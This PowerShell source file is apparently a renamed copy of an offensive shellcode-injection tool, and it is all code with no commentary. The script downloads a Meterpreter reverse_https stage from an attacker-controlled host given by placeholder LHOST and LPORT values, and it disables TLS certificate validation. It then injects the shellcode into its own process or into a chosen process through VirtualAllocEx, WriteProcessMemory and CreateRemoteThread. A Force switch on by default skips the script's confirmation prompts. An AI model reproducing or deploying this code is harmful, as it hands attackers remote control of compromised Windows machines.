function Invoke-ps { [CmdletBinding( DefaultParameterSetName = 'Metasploit', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( [ValidateNotNullOrEmpty()] [UInt16] $ProcessID, [Parameter( ParameterSetName = 'Metasploit' )] $Payload = 'windows/meterpreter/reverse_https', [String] $Lhost = '___LHOST___', $UserAgent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', [Int] $Lport = ___LPORT___, [Switch] $Force = $True ) Set-StrictMode -Version 2.0 function Local:Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } function Local:Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) { $IntSizePtr = $Architecture / 8 function Local:ConvertTo-LittleEndian ([IntPtr] $Address) { $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) Write-Output $LittleEndianByteArray } $CallStub = New-Object Byte[](0) if ($IntSizePtr -eq 8) { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL RAX $CallStub += 0x6A,0x00 # PUSH BYTE 0 $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL RAX } else { [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL EAX $CallStub += 0x6A,0x00 # PUSH BYTE 0 $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL EAX } Write-Output $CallStub } function Local:Inject-RemoteShellcode ([Int] $ProcessID) { # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) if (!$hProcess) { Throw "Unable to open a process handle for PID: $ProcessID" } $IsWow64 = $false if ($64bitCPU) # Only perform theses checks if CPU is 64-bit { # Determine is the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null if ((!$IsWow64) -and $PowerShell32bit) { Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' } elseif ($IsWow64) # 32-bit Wow64 process { if ($Shellcode32.Length -eq 0) { Throw 'No shellcode was placed in the $Shellcode32 variable!' } $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' } else # 64-bit process { if ($Shellcode64.Length -eq 0) { Throw 'No shellcode was placed in the $Shellcode64 variable!' } $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } } else # 32-bit CPU { if ($Shellcode32.Length -eq 0) { Throw 'No shellcode was placed in the $Shellcode32 variable!' } $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$RemoteMemAddr) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($IsWow64) { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$RemoteStubAddr) { Throw "Unable to allocate thread call stub memory in PID: $ProcessID" } Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Throw "Unable to launch remote thread in PID: $ProcessID" } # Close process handle $CloseHandle.Invoke($hProcess) | Out-Null Write-Verbose 'Shellcode injection complete!' } function Local:Inject-LocalShellcode { if ($PowerShell32bit) { if ($Shellcode32.Length -eq 0) { Throw 'No shellcode was placed in the $Shellcode32 variable!' return } $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } else { if ($Shellcode64.Length -eq 0) { Throw 'No shellcode was placed in the $Shellcode64 variable!' return } $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$CallStubAddress) { Throw "Unable to allocate thread call stub." } Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Throw "Unable to launch thread." } # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) Write-Verbose 'Shellcode injection complete!' } # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process if ($IsWow64ProcessAddr) { $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $64bitCPU = $true } else { $64bitCPU = $false } if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } if ($PsCmdlet.ParameterSetName -eq 'Metasploit') { if (!$PowerShell32bit) { # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function # Pull out just the content of the this script's invocation. $RootInvocation = $MyInvocation.Line $Response = $True if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } if ( !$Response ) { # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function Return } # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. if ($MyInvocation.BoundParameters['Force']) { Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" } else { Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" } $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) $EncodedCommand = [Convert]::ToBase64String($CommandBytes) $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" Invoke-Expression -Command $Execute | Out-Null # Exit the script since the shellcode will be running from x86 PowerShell Return } $Response = $True if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } if ( !$Response ) { # User opted not to carry out download of Metasploit payload. Exit function Return } switch ($Payload) { 'windows/meterpreter/reverse_http' { $SSL = '' } 'windows/meterpreter/reverse_https' { $SSL = 's' # Accept invalid certificates [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } } } # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" Write-Verbose "Requesting meterpreter payload from $Request" $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient $WebClient.Headers.Add('user-agent', "$UserAgent") try { [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) } catch { Throw "$($Error[0].Exception.InnerException.InnerException.Message)" } [Byte[]] $Shellcode64 = $Shellcode32 } elseif ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. [Byte[]] $Shellcode32 = $Shellcode [Byte[]] $Shellcode64 = $Shellcode32 } if ( $PSBoundParameters['ProcessID'] ) { # Inject shellcode into the specified process ID $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose "Injecting shellcode into PID: $ProcessId" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) { Inject-RemoteShellcode $ProcessId } } else { # Inject shellcode into the currently running PowerShell process $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose "Injecting shellcode into PowerShell" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode into the running PowerShell process!" ) ) { Inject-LocalShellcode } } }